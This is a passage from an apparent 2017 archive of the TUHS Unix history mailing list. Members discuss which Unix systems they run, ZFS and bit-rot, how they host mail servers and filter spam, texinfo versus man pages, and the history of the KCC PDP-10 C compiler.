xterms open so I don't lose my mind when my Windows workstation gets 
more perpetual updates and I have to reboot it. Xvnc also helps to deal 
with the inevitable Oracle GUI-based installations.

On 9/20/2017 5:15 AM, Steve Nickolas wrote:
>
> Not that I wouldn't like to be running some sort of "Real Unix®™©, 
> keeping in mind that they're not usually a good fit for commodity PC 
> hardware (even Solaris never really was, I don't think).
>

One thing I left out of my original post on this thread was that when I 
say "Unix" - I include Linux in that. It's not, technically, and being 
the anti-Linux snob that I am, I wouldn't include it in the term "Unix". 
However, I left that up to the individual as to whether or not they want 
to call Linux "Unix" ;)




From usotsuki at buric.co  Thu Sep 21 03:01:55 2017
From: usotsuki at buric.co (Steve Nickolas)
Date: Wed, 20 Sep 2017 13:01:55 -0400 (EDT)
Subject: [TUHS] Who is running their own mail server and what do you run?
In-Reply-To: <CANCZdfqzRWGEyj2cFYz5_sH8OW=OdjbSh=7Tb1Li9S4gJjv_9w@mail.gmail.com>
References: <20170920162502.GN25650@mcvoy.com>
 <CANCZdfqzRWGEyj2cFYz5_sH8OW=OdjbSh=7Tb1Li9S4gJjv_9w@mail.gmail.com>
Message-ID: <alpine.BSF.2.02.1709201300480.95826@frieza.hoshinet.org>

On Wed, 20 Sep 2017, Warner Losh wrote:

> On Wed, Sep 20, 2017 at 10:25 AM, Larry McVoy <lm at mcvoy.com> wrote:
>
>> I tried running my own server on mcvoy.com but eventually gave up, the
>> spam filtering was a non-ending task.
>>
>
> I ran my own server for bsdimp.com and village.org form the early 90s until
> 2009 or so. I switched to gmail when I was seriously looking at dropping
> $10k for a server that had enough horse power to filter the 50k-75k spam I
> was getting a month at that time. Switching to google was easier and I
> didn't have to spend the $10k nor the 4 hours a week on the care and
> feeding of the black lists, etc.
>
> Warner
>

I've run my own server for over a decade.  I don't get an unmanageable 
amount of spam, though if there's a way I can make it easier to filter the 
crud out using the tools (postfix, alpine) I have, ...sure

-uso.


From usotsuki at buric.co  Thu Sep 21 03:05:56 2017
From: usotsuki at buric.co (Steve Nickolas)
Date: Wed, 20 Sep 2017 13:05:56 -0400 (EDT)
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <8e10f554-8d6e-964c-8ac6-df77002788d0@kilonet.net>
References: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
 <alpine.BSF.2.02.1709200512230.68994@frieza.hoshinet.org>
 <8e10f554-8d6e-964c-8ac6-df77002788d0@kilonet.net>
Message-ID: <alpine.BSF.2.02.1709201302570.95826@frieza.hoshinet.org>

On Wed, 20 Sep 2017, Arthur Krewat wrote:

> One thing I left out of my original post on this thread was that when I say 
> "Unix" - I include Linux in that. It's not, technically, and being the 
> anti-Linux snob that I am, I wouldn't include it in the term "Unix". However, 
> I left that up to the individual as to whether or not they want to call Linux 
> "Unix" ;)

Yeah, I clearly wasn't using that definition in my reply ;)

I'm pro-Linux (Linux as Linux, GNU is another matter), but "Linux Is Not 
UniX", and I don't even consider any of the BSDs that (I'm even loath to 
call OSX that and it's trademark-compliant!).  But that's just me. :P

To me "Unix" means either an ancestral AT&T variety, or a SysV derivative.

-uso.


From jon at fourwinds.com  Thu Sep 21 03:09:25 2017
From: jon at fourwinds.com (Jon Steinhart)
Date: Wed, 20 Sep 2017 10:09:25 -0700
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <20170920165830.e6lp4acvfpq63n25@matica.foolinux.mooo.com>
References: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
 <201709201542.v8KFgN9T012655@darkstar.fourwinds.com>
 <20170920165830.e6lp4acvfpq63n25@matica.foolinux.mooo.com>
Message-ID: <201709201709.v8KH9PT7030498@darkstar.fourwinds.com>

Ian Zimmerman writes:
> On 2017-09-20 08:42, Jon Steinhart wrote:
> 
> > The fourth machine lives up at my ski cabin and has 20TiB of disk;  I have a
> > remote control system make from a Raspberry PI that I can use to control the
> > power on that machine so that I can rsync to it.  It's my main offsite backup
> > machine.
> 
> This is intriguing; how do you remote-control to the ski cabin?
> Satellite or something?

Built a small daughter board with a few solid-state relays that plugs in
to a Raspberry Pi.  It does a few things for me...

I don't like to keep the ski cabin machine powered up when not in use.
Especially you Californians will be pissed at this but the cost of electricity
at the ski cabin is something like 8x what I pay at home.  Of course, that's
probably on par with what you pay; at home I'm on a public utility district
that buys directly from BPA.  Also, I'm just one of those weird environmental
types who turns off the lights when I leave a room so I don't want to be
burning a power 24x7 for no reason.

Also, while that machine is on a UPS, power up there is pretty flakey when
the storms rage.  So I couldn't count on the machine staying on.

The Pi pings a dynamic DNS server so that I can find the machine.  It also
lets me know when the internet connection up their dies so that I can call
CenturyLink.  Unsurprisingly, their customer service number is identical to
that of Dell and Verizon:  the Oregon Department of Justice.

One of the solid-state relays on the Pi is connected to the power switch on
the bigger computer so that I can power it up from remote.  Another is on
the rest switch in case things go really weird and I can't power things down.
That has never happened but it's just in case.

The last relay is connected to the thermostat.  That way, if I decide to go
skiing on short notice I can turn the heat on while I'm driving up and it'll
be warm when I get there.

Oh, don't need satellite.  The ski cabin has DSL so I get 10x the service that
I get at home for .1x the price.

Jon


From krewat at kilonet.net  Thu Sep 21 03:10:52 2017
From: krewat at kilonet.net (Arthur Krewat)
Date: Wed, 20 Sep 2017 13:10:52 -0400
Subject: [TUHS] Who is running their own mail server and what do you run?
In-Reply-To: <20170920162502.GN25650@mcvoy.com>
References: <20170920162502.GN25650@mcvoy.com>
Message-ID: <8060db09-60d9-8113-ac4e-a7298211baf1@kilonet.net>

Sendmail.

Since I got a business-class fiber connection from Verizon FIOS last 
year, I've been tempted to really "roll my own" receiving mail server, 
but haven't because of the SPAM issue.

Most of my main inbound email goes through Godaddy because I have an 
umlimited (almost) hosting account with them. They filter 99% of the 
SPAM and I'm happy with that. Let them deal with the updates and such.

I use fetchmail to pull down email from various other places - gmail 
(I'm a subcontractor to someone), Godaddy, outlook.com, etc.

Outbound I push it through Godaddy again. Verizon recently cut their 
mail service outbound for email outside of their root domain. Can't 
blame them, they were probably being used to spam by customers' machines 
that had been compromised.



On 9/20/2017 12:25 PM, Larry McVoy wrote:
> I tried running my own server on mcvoy.com but eventually gave up, the
> spam filtering was a non-ending task.
>
> If someone has a plug and chug setup for MX I'd love to try it.
>
> Thanks,
>
> --lm
>



From jon at fourwinds.com  Thu Sep 21 03:14:11 2017
From: jon at fourwinds.com (Jon Steinhart)
Date: Wed, 20 Sep 2017 10:14:11 -0700
Subject: [TUHS] Who is running their own mail server and what do you run?
In-Reply-To: <8060db09-60d9-8113-ac4e-a7298211baf1@kilonet.net>
References: <20170920162502.GN25650@mcvoy.com>
 <8060db09-60d9-8113-ac4e-a7298211baf1@kilonet.net>
Message-ID: <201709201714.v8KHEBxE031643@darkstar.fourwinds.com>

BTW, another reason that I like to run my own mail servers is so that I can
see "spam" in case it isn't.  While I'm sure that filtering tools have gotten
better I recall an issue some years ago while using a clients email address
where the message included a register layout like 0 1 1 X X X 0 1; the message
vanished because of the X X X.


From krewat at kilonet.net  Thu Sep 21 03:31:19 2017
From: krewat at kilonet.net (Arthur Krewat)
Date: Wed, 20 Sep 2017 13:31:19 -0400
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <20170920165830.e6lp4acvfpq63n25@matica.foolinux.mooo.com>
References: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
 <201709201542.v8KFgN9T012655@darkstar.fourwinds.com>
 <20170920165830.e6lp4acvfpq63n25@matica.foolinux.mooo.com>
Message-ID: <568e3829-07d9-22c2-b3bd-b2a6a244bcc9@kilonet.net>

Oh, and one more thing that may produce an offshoot, or at least more 
discussion about what's the "right thing to do".

I'm coming off as a Solaris snob, I'm sure, but that's ok ;)

Using Solaris and ZFS, it automatically checksums everything, and can 
correct it on-the-fly. Add to that raidz2, and most data corruption can 
be dealt with.

Which brings up my experience with bit-rot.

Two stories:

1) Home server, using SAS to some Dell MD1000's with SATA drives in them 
(through SAS->SATA interposers), and find that one of controllers in one 
of the MD1000s was corrupting data. On average at it's height, I was 
getting one or two checksum errors in ZFS a day. I didn't notice it 
right away until ZFS actually errored out a disk because of it, and the 
raidz2 zpool went DEGRADED. By the time I dealt with it, I had a few 
hundred errors showing in the zpool status.

It was pretty obvious which MD1000 controller was causing the issue 
because almost every drive on that particular controller was reporting 
errors all at the same time. But it was at a level that the data on the 
disk was actually being corrupted "in flight" in such a way that the SAS 
controller in the server didn't see any protocol errors, it was really 
data corruption at the sector level.

2) Work server, M1000e chassis with an Oracle Solaris cluster on a pair 
of M610 blades, Emulex fiber controllers, Brocade 5100 switchs, and a 
Dell Compellent. Twice in two years, ZFS noticed a checksum error in a 
record of a file. One was a redo log that had already been read before 
it errored, and the other was a flashback log that wasn't necessary for 
continued operation of the database.

This one, I'm not so sure isn't a bug in firmware (or even Solaris) 
somewhere along the path. One error happened on one node, the other 
error happened on the other node. Two different types of databases - one 
Student Information System, the other online learning. QA cluster never 
see any issues.

Problem with this is, I'm using ZFS on top of a SAN - so there's no 
mirroring or raidz# going on, it's all on the SAN to deal with errors. 
Once ZFS sees corruption, the file goes into "I/O error".

--

Both these stories point out that bit-rot is really a thing. I refuse to 
store any of my own personal/work/whatever data on a machine that 
doesn't do ECC for RAM, or filesystems that do not checksum. I have a 
lot of old data and source code stored on my array. I would hate to open 
an old source file and see a corrupted sector right in the middle of it. 
I've seen it happen to other people. I've seen it happen to me 20 years 
ago. Never again.

I back everything up to an LTO4 library, and regular take 
infinite-retention backups and store them off-site, and recently started 
up an Amazon EC2 instance in Ireland and rsync stuff to that using 
"magnetic" storage (spinning disk) - which is relatively cheap.

Anyone know of a reliable filesystem that checksums everything? Oh wait, 
ZFS is available for Linux - wonder if I can install it on an Amazon 
micro t2 instance? I'll have to check.


From henry.r.bent at gmail.com  Thu Sep 21 03:39:59 2017
From: henry.r.bent at gmail.com (Henry Bent)
Date: Wed, 20 Sep 2017 13:39:59 -0400
Subject: [TUHS] Who is running their own mail server and what do you run?
In-Reply-To: <CANCZdfqzRWGEyj2cFYz5_sH8OW=OdjbSh=7Tb1Li9S4gJjv_9w@mail.gmail.com>
References: <20170920162502.GN25650@mcvoy.com>
 <CANCZdfqzRWGEyj2cFYz5_sH8OW=OdjbSh=7Tb1Li9S4gJjv_9w@mail.gmail.com>
Message-ID: <CAEdTPBdMNhwBr2FH50kjhia68_DemRkP96Fwcky3TKwCEY8vaA@mail.gmail.com>

On 20 September 2017 at 12:46, Warner Losh <imp at bsdimp.com> wrote:

>
>
> On Wed, Sep 20, 2017 at 10:25 AM, Larry McVoy <lm at mcvoy.com> wrote:
>
>> I tried running my own server on mcvoy.com but eventually gave up, the
>> spam filtering was a non-ending task.
>>
>
> I ran my own server for bsdimp.com and village.org form the early 90s
> until 2009 or so. I switched to gmail when I was seriously looking at
> dropping $10k for a server that had enough horse power to filter the
> 50k-75k spam I was getting a month at that time. Switching to google was
> easier and I didn't have to spend the $10k nor the 4 hours a week on the
> care and feeding of the black lists, etc.
>

This is essentially what happened when I was working at Oberlin College.
Around 2005-2006 we bought a dedicated appliance to handle spam (with
around 5000 active email addresses at any given time, it was a lot of spam)
but within less than a year it became completely overwhelmed and we needed
to upgrade to a much more powerful and expensive machine.  We switched to
Google Apps very shortly afterward and it saved countless hours on the back
end and provided a better experience to our users.  Initially I wasn't
particularly happy about the fact that we were no longer directly in
control of our mail, but the benefits far outweighed the drawbacks.

-Henry
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170920/d6f739f8/attachment.html>

From clemc at ccc.com  Thu Sep 21 03:47:26 2017
From: clemc at ccc.com (Clem Cole)
Date: Wed, 20 Sep 2017 13:47:26 -0400
Subject: [TUHS] Who is running their own mail server and what do you run?
In-Reply-To: <20170920162502.GN25650@mcvoy.com>
References: <20170920162502.GN25650@mcvoy.com>
Message-ID: <CAC20D2N9tAQAR_LddweoA1idMpb6YgO-76Jykx6CtnmL95XhPg@mail.gmail.com>

On Wed, Sep 20, 2017 at 12:25 PM, Larry McVoy <lm at mcvoy.com> wrote:

> I tried running my own server on mcvoy.com but eventually gave up, the
> spam filtering was a non-ending task.


​for ccc.com - as a 40 year old domain  and a 3 letter one at that, spam
was never ending.  I gave up when Google asked me to beta test Google Apps
for business.   Now the cost of having them do it for me is so cheap, I
really can not justify running it myself.  Same for my DNS for my class C,
I moved it all upstream to easyDNS in Canada (great bunch BTW and pricing
is super).

Now I live downstream of a 1G fiber.   The Firewall is fairly hot because
of my domain, so many nut cases tap on it; but my logs show its been stable
for a long time since I have it locked down pretty tight.    At one time, I
had some of Ches's mapping stuff running that gave me a pseudo-real time
map of where the attacks were come each day (mostly script kiddies).  But,
we had a flood in the basement and that system got decommission since I got
bore looking at it.  I fear, those bits are rotted.

Anyway moving Mail and DNS upstream did clean up spam and while it did not
rid of the attacks, but it certainly let the primary defense be done at
places better set up to handle them me personally and I bought back much of
my day.

​
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170920/ea4931de/attachment.html>

From henry.r.bent at gmail.com  Thu Sep 21 03:53:14 2017
From: henry.r.bent at gmail.com (Henry Bent)
Date: Wed, 20 Sep 2017 13:53:14 -0400
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <8e10f554-8d6e-964c-8ac6-df77002788d0@kilonet.net>
References: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
 <alpine.BSF.2.02.1709200512230.68994@frieza.hoshinet.org>
 <8e10f554-8d6e-964c-8ac6-df77002788d0@kilonet.net>
Message-ID: <CAEdTPBdLbyZWM+VR5afBeoPYx1b08v=seOgu0qUy-Aks2dHsoA@mail.gmail.com>

On 20 September 2017 at 12:58, Arthur Krewat <krewat at kilonet.net> wrote:

> A note on the PC hardware front:
>
> Solaris 11+ has been doing very well for me on PC-based platforms for
> quite a few years now. The drivers handle everything up to probably the
> lastest-gen( minus 1) LSI or Emulex or any other disk/fiber controllers,
> 10Gbe Intel or Mellanox ethernet cards, and generally support enough USB
> stuff to make it worthwhile for me - USB serial port adapters actually DO
> wind up in /dev/cua ;)
>
> The Intel processor support has been great w/NUMA aware scheduler (check
> out lgrpinfo on a Solaris box) which is very useful for Oracle DB, and a
> few other things I can't think of right now.
>
> I don't use it for desktop though, except for Xvnc with a bunch of xterms
> open so I don't lose my mind when my Windows workstation gets more
> perpetual updates and I have to reboot it. Xvnc also helps to deal with the
> inevitable Oracle GUI-based installations.
>

How do you feel about the fact that Solaris is essentially EOL now?  I'm
sure it will be reasonable to run for another year or two, but where will
you go after that?

-Henry
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170920/7b808017/attachment.html>

From rp at servium.ch  Thu Sep 21 03:54:11 2017
From: rp at servium.ch (Rico Pajarola)
Date: Wed, 20 Sep 2017 19:54:11 +0200
Subject: [TUHS] Who is running their own mail server and what do you run?
In-Reply-To: <20170920162502.GN25650@mcvoy.com>
References: <20170920162502.GN25650@mcvoy.com>
Message-ID: <CACwAiQkmNzSOHeK9TaFXZ3r65-BSDH9NO3AopYhypfaFuihOiw@mail.gmail.com>

I was running my own Postfix server with spamassassin until I got
frustrated (that was when I working for Google on Gmail spam/abuse and
realized just how much better a job you can do with more resources and that
there's no way I could come even close to that quality of filtering with my
homegrown solution). Nowadays I run everything through Google. Sadly (?)
this also saves me a ton of time and money (I sometimes miss tinkering with
my mail setup).

On Wed, Sep 20, 2017 at 6:25 PM, Larry McVoy <lm at mcvoy.com> wrote:

> I tried running my own server on mcvoy.com but eventually gave up, the
> spam filtering was a non-ending task.
>
> If someone has a plug and chug setup for MX I'd love to try it.
>
> Thanks,
>
> --lm
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170920/db808b49/attachment.html>

From itz at very.loosely.org  Thu Sep 21 03:57:15 2017
From: itz at very.loosely.org (Ian Zimmerman)
Date: Wed, 20 Sep 2017 10:57:15 -0700
Subject: [TUHS] Who is running their own mail server and what do you run?
In-Reply-To: <20170920162502.GN25650@mcvoy.com>
References: <20170920162502.GN25650@mcvoy.com>
Message-ID: <20170920175714.6wbik7z7auw73ihu@matica.foolinux.mooo.com>

On 2017-09-20 09:25, Larry McVoy wrote:

> I tried running my own server on mcvoy.com but eventually gave up, the
> spam filtering was a non-ending task.

exim on a VPS.  Currently it is a linode running debian but I will have
to find an outlet that supports BSD before systemd becomes unavoidable
on debian, which I'm afraid is only a matter of time.

spam is a problem but also a challenge ;-)

I'll never switch to gmail as my primary address.  The day when it's the
only way is the day the Net dies, as I see it, and the day when I look
for a different line of work (which maybe I should have done a while ago).

-- 
Please don't Cc: me privately on mailing lists and Usenet,
if you also post the followup to the list or newsgroup.
Do obvious transformation on domain to reply privately _only_ on Usenet.


From krewat at kilonet.net  Thu Sep 21 04:12:42 2017
From: krewat at kilonet.net (Arthur Krewat)
Date: Wed, 20 Sep 2017 14:12:42 -0400
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <CAEdTPBdLbyZWM+VR5afBeoPYx1b08v=seOgu0qUy-Aks2dHsoA@mail.gmail.com>
References: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
 <alpine.BSF.2.02.1709200512230.68994@frieza.hoshinet.org>
 <8e10f554-8d6e-964c-8ac6-df77002788d0@kilonet.net>
 <CAEdTPBdLbyZWM+VR5afBeoPYx1b08v=seOgu0qUy-Aks2dHsoA@mail.gmail.com>
Message-ID: <2ffad123-91bc-2306-6897-ddfa2c1df490@kilonet.net>



On 9/20/2017 1:53 PM, Henry Bent wrote:
> On 20 September 2017 at 12:58, Arthur Krewat <krewat at kilonet.net 
> <mailto:krewat at kilonet.net>> wrote:
>
>     A note on the PC hardware front:
>
>
> How do you feel about the fact that Solaris is essentially EOL now?  
> I'm sure it will be reasonable to run for another year or two, but 
> where will you go after that?
>

Don't make me cry in my coffee :(

Personally, I'll either run with it for as long as I can and deal with 
it, and hope that Oracle at least releases the last ZFS so it can be 
incorporated somewhere, or go back to FreeBSD which I used to run before 
Solaris X86 was available to me as Solaris 7, and use the earlier 
version of ZFS.

Professionally, there's only Linux now - I'll use Oracle Linux for 
servers with Oracle products on them, but even then, I'm not liking the 
NUMA support.


-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170920/b978c414/attachment.html>

From clemc at ccc.com  Thu Sep 21 04:15:01 2017
From: clemc at ccc.com (Clem Cole)
Date: Wed, 20 Sep 2017 14:15:01 -0400
Subject: [TUHS] Another "craft" discussion topic - mindless tool
	proliferation
In-Reply-To: <201709191701.v8JH1vck032168@darkstar.fourwinds.com>
References: <201709191701.v8JH1vck032168@darkstar.fourwinds.com>
Message-ID: <CAC20D2NKC-JdpUkbUqHEJY7d5z1gYi8kwV5axg2h+uD53LE4Qw@mail.gmail.com>

I fear this thread drifted from Jon's point about improving a tool, instead
of replacing it.

On Tue, Sep 19, 2017 at 1:01 PM, Jon Steinhart <jon at fourwinds.com> wrote:

> OK, here's another one that's good for chest thumping...
>
> I am not a fan of texinfo.  It doesn't provide any benefits (to me) over
> man.
>
​Amen...​

​To me this was just rms trying to inflict ITS/emacs on Unix.  Lars points
out info is just ITS format, the tool is just emacs commands.

The key was that here was a case where the UNIX solution (man) was
perfectly reasonable, worked very well.   But it was not the likely and in
the right flavor of rms.

​

> This is a systemic problem.  I have a section in my book-in-progress where
> I
> talk about being a "good programming citizen".  One of the things that I
> say
> is:
>
>     Often there is a tool that does most of what you need but is lacking
>     some feature or other.  Add that feature to the existing tool;
>     don't just write a new one.  The problem with writing a new one
>     is that, as a tool user, you end up having to learn a lot of tools
>     that perform essentially the same function.  It's a waste of time
>     an energy.  A good example is the make utility (invented by Stuart
>     Feldman at Bell Labs in 1976) that is used to build large software
>     packages.  As time went on, new features were needed.  Some were
>     added to make, but many other incompatible utilities were created that
>     performed similar functions.  Don't create burdens for others.
>     Improve existing tools if possible.

​Which is exactly your point.   I think you are spot on here.  Instead of
rms trying to learn to use Unix the way, he inflicted the ITS/emacs way
because he thought it was ``better.''   Which is a tad arrogant.​

I have noted that the folks that don't mind and/or like info, are regular
emacs users.

Someone like me, who can use emacs, but does not find it the only thing (I
could switch between RPN - HP style and algebraic - TI calculators too),
just find texinfo to be an annoyance.  It's different and one extra place
to look.  As Jon said, it does not provide any benefits and in fact is a
detraction because it means the standard Unix tools like apropros does not
index it.

Larry has right idea, with his webroff.  Make html when it is appropriate
I also think, man pages are man pages and not user manuals.   The Perl
example was classic.   We did not learn C from the man page.   What we got
in the C man page was how to run it.  There was a manual (doc) for the
language.   That should have been a manual (in -ms macros) and then run
through Larry's webroff and properly indexed.

Then you get everything.

Clem
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170920/c61c9434/attachment.html>

From krewat at kilonet.net  Thu Sep 21 04:15:43 2017
From: krewat at kilonet.net (Arthur Krewat)
Date: Wed, 20 Sep 2017 14:15:43 -0400
Subject: [TUHS] Who is running their own mail server and what do you run?
In-Reply-To: <8060db09-60d9-8113-ac4e-a7298211baf1@kilonet.net>
References: <20170920162502.GN25650@mcvoy.com>
 <8060db09-60d9-8113-ac4e-a7298211baf1@kilonet.net>
Message-ID: <46b158e3-26fe-f697-5c74-840ff2a1cec6@kilonet.net>

Side note on my own post:

I use Thunderbird to read all my personal/professional email except 
where I'm forced to use Outlook

I've built an extensive list of whitelisted email sources and 
destinations (TUHS for example). Anything that doesn't match that 
automatically goes into my SPAM folder.

So even if I turned off all SPAM filtering upstream, I still wouldn't 
get anything in my Inbox that I didn't want to see. My SPAM folder would 
be huge though ;)

On 9/20/2017 1:10 PM, Arthur Krewat wrote:
> Sendmail.
>
> Since I got a business-class fiber connection from Verizon FIOS last 
> year, I've been tempted to really "roll my own" receiving mail server, 
> but haven't because of the SPAM issue.
>
> Most of my main inbound email goes through Godaddy because I have an 
> umlimited (almost) hosting account with them. They filter 99% of the 
> SPAM and I'm happy with that. Let them deal with the updates and such.
>
> I use fetchmail to pull down email from various other places - gmail 
> (I'm a subcontractor to someone), Godaddy, outlook.com, etc.
>
> Outbound I push it through Godaddy again. Verizon recently cut their 
> mail service outbound for email outside of their root domain. Can't 
> blame them, they were probably being used to spam by customers' 
> machines that had been compromised.
>
>
>
> On 9/20/2017 12:25 PM, Larry McVoy wrote:
>> I tried running my own server on mcvoy.com but eventually gave up, the
>> spam filtering was a non-ending task.
>>
>> If someone has a plug and chug setup for MX I'd love to try it.
>>
>> Thanks,
>>
>> --lm
>>
>
>



From gtaylor at tnetconsulting.net  Thu Sep 21 04:21:31 2017
From: gtaylor at tnetconsulting.net (Grant Taylor)
Date: Wed, 20 Sep 2017 12:21:31 -0600
Subject: [TUHS] Who is running their own mail server and what do you run?
In-Reply-To: <20170920162502.GN25650@mcvoy.com>
References: <20170920162502.GN25650@mcvoy.com>
Message-ID: <6efc1bb3-e133-65e1-d294-592c2c57f2f6@tnetconsulting.net>

I'm running Sendmail (the 800 lb gorilla that I know) on multiple Linode 
VPSs.  (I can highly recommend Linode.)

My email stack is fairly straightforward:

  - Sendmail + milters
     - ClamAV       - can reject email at SMTP time
     - OpenARC      - adds headers for SpamAssassin
     - OpenDKIM     - adds headers for SpamAssassin
     - OpenDMARC    - adds headers for SpamAssassin
     - SpamAssassin - can reject email at SMTP time
     - SPFmilter    - can reject email at SMTP time
  - JunkEmailFilter Project Tarbaby as a high order / low priority MX
  - Reverse Path IP filtering
     - Team Cymru Bogons
        - Full IPv4
        - Full IPv6
     - Spamhaus
        - Drop v4
        - eDrop v4
        - Drop v6
     - DShield

I also do the following, but they don't strictly impact inbound email 
filtering.

  - I publish DNS records for
     - SPF w/ -all
     - DKIM
     - DMARC w/ strict rejections on all messages
  - DNSSEC signed zones & published DS records.
  - I recently added Sender Rewrite Scheme to my mail server.
     - I now host email for a friend that he wants forwarded 
(unmodified) to Gmail.

On 09/20/2017 10:25 AM, Larry McVoy wrote:
> I tried running my own server on mcvoy.com but eventually gave up, the 
> spam filtering was a non-ending task.

I may end up regretting saying this, but I don't think my spam problem 
is nearly as bad as other people seem to have it.

> If someone has a plug and chug setup for MX I'd love to try it.

I've found my solution to be mostly maintenance free.

I do dabble, by choice, and recently wrote a proto MTA in Perl to 
experiment with gray listing.

I also have > 2k lines of procmail recipes, but that's almost all for 
filtering different addresses into the multiple hundreds of folders I 
have in my personal email account.

Ask if you want any more details.



-- 
Grant. . . .
unix || die

-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 3717 bytes
Desc: S/MIME Cryptographic Signature
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170920/fccda534/attachment.bin>

From pechter at gmail.com  Thu Sep 21 04:22:24 2017
From: pechter at gmail.com (William Pechter)
Date: Wed, 20 Sep 2017 14:22:24 -0400
Subject: [TUHS] Who is running their own mail server and what do you run?
In-Reply-To: <20170920175714.6wbik7z7auw73ihu@matica.foolinux.mooo.com>
References: <20170920162502.GN25650@mcvoy.com>
 <20170920175714.6wbik7z7auw73ihu@matica.foolinux.mooo.com>
Message-ID: <df98b79b-3cad-4911-94b7-713de2645a51.maildroid@localhost>

Digital Ocean does FreeBSD  for me.  My mail hosting costs me $5 per month.  Using postfix and zfs...

Bill

-----Original Message-----
From: Ian Zimmerman <itz at very.loosely.org>
To: tuhs at minnie.tuhs.org
Sent: Wed, 20 Sep 2017 13:57
Subject: Re: [TUHS] Who is running their own mail server and what do you run?

On 2017-09-20 09:25, Larry McVoy wrote:

> I tried running my own server on mcvoy.com but eventually gave up, the
> spam filtering was a non-ending task.

exim on a VPS.  Currently it is a linode running debian but I will have
to find an outlet that supports BSD before systemd becomes unavoidable
on debian, which I'm afraid is only a matter of time.

spam is a problem but also a challenge ;-)

I'll never switch to gmail as my primary address.  The day when it's the
only way is the day the Net dies, as I see it, and the day when I look
for a different line of work (which maybe I should have done a while ago).

-- 
Please don't Cc: me privately on mailing lists and Usenet,
if you also post the followup to the list or newsgroup.
Do obvious transformation on domain to reply privately _only_ on Usenet.


From jon at fourwinds.com  Thu Sep 21 04:35:19 2017
From: jon at fourwinds.com (Jon Steinhart)
Date: Wed, 20 Sep 2017 11:35:19 -0700
Subject: [TUHS] Another "craft" discussion topic - mindless tool
	proliferation
In-Reply-To: <CAC20D2NKC-JdpUkbUqHEJY7d5z1gYi8kwV5axg2h+uD53LE4Qw@mail.gmail.com>
References: <201709191701.v8JH1vck032168@darkstar.fourwinds.com>
 <CAC20D2NKC-JdpUkbUqHEJY7d5z1gYi8kwV5axg2h+uD53LE4Qw@mail.gmail.com>
Message-ID: <201709201835.v8KIZJth016318@darkstar.fourwinds.com>

Another point that has been hinted at on the man page discussion.

A concept that seemed to get lost at the FSF is that man pages are summaries.
They're not exhaustive.  While a man page is all that's needed for something
simple like "ls", I expect there to be well written documents for more complex
programs.  For example, I do not expect a complete description of yacc on the
man page; that belongs in a separate document.  I still have notebooks with
the printed versions of the old docs around.

The man page problem is also exacerbated by the bloatage that afflicts the FSF
versions of many formerly simple utilities.  Huge numbers of dash options
plague many utilities that in my opinion should be broken up into separate
simpler programs.  Not to mention that by adding so many options they felt the
need for long options, and now one has to deal with two options for some but
not all things.

Making things worse, some man pages are just not written with the user in mind.
The one that constantly annoys me is bash.  There's around 450 lines of gunk
about shell variables near the front which I always have to skip past because
I forgot the syntax of some parameter expansion.  I hardly ever care about the
shell variables, and I don't think that I'm alone.

Jon


From beebe at math.utah.edu  Thu Sep 21 04:40:57 2017
From: beebe at math.utah.edu (Nelson H. F. Beebe)
Date: Wed, 20 Sep 2017 12:40:57 -0600
Subject: [TUHS] PDP-10 UNIX?
Message-ID: <CMM.0.95.0.1505932857.beebe@gamma.math.utah.edu>

Warner Losh <imp at bsdimp.com> kindly corrected my statement that kcc
compiler on the PDP-10 was done by Ken Harrenstien, pointing out that
it was actually begun by Kok Chen (whence, the name kcc).

I've just dug into the source tree for the compiler, and found this
leading paragraph in kcc5.vmshelp (filesystem date of 3-Sep-1988) that
provides proper credits:

>> ...
>>          KCC is a compiler for the C language on the PDP-10.  It was
>>  originally begun by Kok Chen of Stanford University around 1981 (hence
>>  the name "KCC"), improved by a number of people at Stanford and Columbia
>>  (primarily David Eppstein, KRONJ), and then adopted by Ken Harrenstien
>>  and Ian Macky of SRI International as the starting point for what is now
>>  a complete and supported implementation of C.  KCC implements C as
>>  described by the following references:
>> 
>>          H&S: Harbison and Steele, "C: A Reference Manual",
>>           HS1: (1st edition) Prentice-Hall, 1984, ISBN 0-13-110008-4
>>           HS2: (2nd edition) Prentice-Hall, 1987, ISBN 0-13-109802-0
>>          K&R: Kernighan and Ritchie, "The C Programming Language",
>>                  Prentice-Hall, 1978, ISBN 0-13-110163-3
>> 
>>          Currently KCC is only supported for TOPS-20, although there is
>>  no reason it cannot be used for other PDP-10 systems or processors.
>>  The remaining discussion assumes you are on a TOPS-20 system.
>> ...

I met Ken only once, in his office at SRI, but back in our TOPS-20
days, we had several e-mail contacts.

----------------------------------------

P.S. In these days of multi-million line compilers, it is interesting
to inspect the kcc source code line count:

	% find . -name '*.[ch]' | xargs cat | wc -l
	80298

A similar check on a 10-Oct-2016 snapshot of the actively-maintained
pcc compiler for Unix systems found 155896 lines.

-------------------------------------------------------------------------------
- Nelson H. F. Beebe                    Tel: +1 801 581 5254                  -
- University of Utah                    FAX: +1 801 581 4148                  -
- Department of Mathematics, 110 LCB    Internet e-mail: beebe at math.utah.edu  -
- 155 S 1400 E RM 233                       beebe at acm.org  beebe at computer.org -
